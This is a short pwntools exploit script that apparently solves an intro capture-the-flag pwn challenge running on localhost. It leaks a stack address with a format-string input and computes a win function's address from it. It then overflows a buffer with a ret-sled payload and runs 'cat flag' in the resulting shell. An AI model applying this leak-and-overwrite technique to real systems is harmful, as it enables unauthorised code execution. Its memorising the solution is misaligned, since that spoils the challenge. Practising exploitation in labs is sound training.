from pwn import *
import re
from sys import exit

ret_sled = 0x9eb
win_func_offset = 0x9ec

#with remote("b037e7ec4c1207e6b54007fb-1024-intro-pwn-1.challenge.cscg.live", 1337, ssl=True) as p:
with remote("localhost", 1024, fam="ipv4") as p:
    p.recvuntil(b":")
    p.sendline(b"%37$p")
    data = p.recvuntil(b":")
    memory_address_pattern = r"0x[0-9a-fA-F]+"
    memory_address = re.search(memory_address_pattern,data.decode('utf-8'))
    if memory_address:
        memory_address = int(memory_address.group(),16)
    else:
        log.error("Couldn't leak memory address")
        exit(-1)
    log.info(f"leaked address: {hex(memory_address)}")
    win_address = (memory_address & 0xFFFFFFFFFFFFF000) | win_func_offset
    log.info(f"win func addr: {hex(win_address)}")
    payload = b"Expelliarmus" + b"\x00"
    payload += b"A" * (0x108 - len(payload))
    payload += p64((memory_address & 0xFFFFFFFFFFFFF000) | ret_sled)
    payload += p64(win_address)
    p.sendline(payload)
    p.sendline(b"cat flag")
    log.info(p.clean())
